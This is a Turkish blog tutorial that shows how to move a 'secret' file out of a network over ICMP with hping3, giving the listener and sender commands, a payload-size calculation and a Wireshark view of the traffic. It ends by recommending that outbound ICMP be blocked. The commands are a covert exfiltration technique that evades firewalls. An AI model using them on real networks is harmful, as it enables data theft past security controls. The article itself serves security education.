Hping Aracı Kullanılarak ICMP Üzerinden Dosya Transferi Gerçekleştirme

ICMP (Internet Control Message Protocol) hataları raporlamak için kullanılan, kontrol amaçlı bir protokoldür. Ancak uzak sistem hakkında bilgi toplamada veya veri transferinde de kullanılabildiği için ICMP protokolü önem arz etmektedir. Bu yazıda ICMP protokolü üzerinden veri kaçırma (dosya transfer) işleminin nasıl yapılabileceğinden bahsedilecektir.

ICMP, IP gibi 3. katman protokolüdür ve ICMP protokolü IP’yi kullanır. ICMP, 3. katmanda çalıştığı için herhangi bir port üzerinden çalışmaz. Herhangi bir port üzerinden çalışmadığı için ve gayet masum bir protokol olarak görüldüğü için de genelde güvenlik duvarı üzerinde ICMP için kural yazmaya gerek görülmez. Ancak bu durum, ICMP protokolü üzerinden dosya transferine veya veri kaçırılmasına sebep olmaktadır. Bu işlem için hem dosya transferi yapılacak olan sunucu üzerinde hem de dosyanın gönderileceği kaynak üzerinde hping3 aracının yüklü olması yeterlidir.

Dosya transferi için, dosyanın transfer edileceği sunucu üzerinde aşağıdaki komut çalıştırılarak dosya transferine hazır duruma getirilir:

# hping3 –listen <pc_ip_adresi> –sign icmpimzasi –icmp -I eth1 > alinan_dosya.txt

Bu komut ile “pc_ip_adresi” değişkeni olarak belirtilen IP’den gelecek olan “icmpimzasi” imzalı icmp paketlerinin data kısmı “alinan_dosya.txt” dosyasına kaydedilmeye başlanılır.

transferring-file-over-icmp-using-hping-tool-01

Şekil 1: Dosyanın gönderileceği sunucu üzerinde gerekli komutun çalıştırılması

 

Dosyanın gönderileceği kaynak üzerinde de aşağıdaki komut çalıştırılarak dosya transferi gerçekleştirilir.

# hping3 <sunucu_ip_adresi> –icmp -d 120 –sign icmpimzasi –file gizli_dosya.txt -c 1 -I eth0

Bu komut ile sunucu_ip_adresi değişkeni olarak belirtilen ip’ye “icmpimzasi” imzalı “gizli_dosya.txt” dosyasındaki veriler, ICMP paketinin data kısmında 124 byte olarak gönderir. Eğer dosya içeriği 124 byte’tan büyük ise, 124 byte’lık kısmı gönderilir. -d parametresinden sonra verilen değişken byte cinsinden şu şekilde hesaplanabilir:

d_degeri = dosya_boyutu + imza_karakter_sayisi

Aşağıdaki ekran görüntüsünde yapılan örnek için şu şekilde hesaplanmıştır:

d_degeri(124) = gizli_dosya_boyutu(114) + icmpimzasi_karakter_sayisi(10)

transferring-file-over-icmp-using-hping-tool-02

Şekil 2: Dosyanın hedef sunucuya gönderilmesi

 

Veri transferi yapıldıktan sonra sunucu üzerinde dinleme modunda olan hping3 komutunu Ctrl+C ile sonlandırarak alınan dosyanın içeriğine bakalım.

transferring-file-over-icmp-using-hping-tool-03

Şekil 3: Dosyayı alan sunucu üzerinde alınan dosyanın incelenmesi

 

ICMP üzerinden dosya transfer ederken wireshark aracı ile ağ trafiğini izlediğimizde ICMP paketinin data kısmında dosyanın içerisindeki verileri görebiliriz.

transferring-file-over-icmp-using-hping-tool-04

Şekil 4: Transfer sırasında oluşan trafiğin incelenmesi

 

ICMP kontrol amaçlı bir protokol olarak geliştirilmiş olsa da, uygulamada da gördüğümüz üzere kötü amaçlar için de kullanılabilir. Bu yüzden özellikle kurum iç ağından internet ağına doğru ICMP trafiğinin engellenmesi tavsiye edilmektedir.

 

http://ekaragol.blogspot.com.tr/2015/02/icmp-ile-dosya-transferi.html
https://www.bilgiguvenligi.gov.tr/kurumsal-guvenlik/ping-ile-portsuz-dosya-transferi-yaparak-firewall-asmak.html

Yazarın Bilgileri

Ebubekir KARAGÖL
Ebubekir KARAGÖL

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.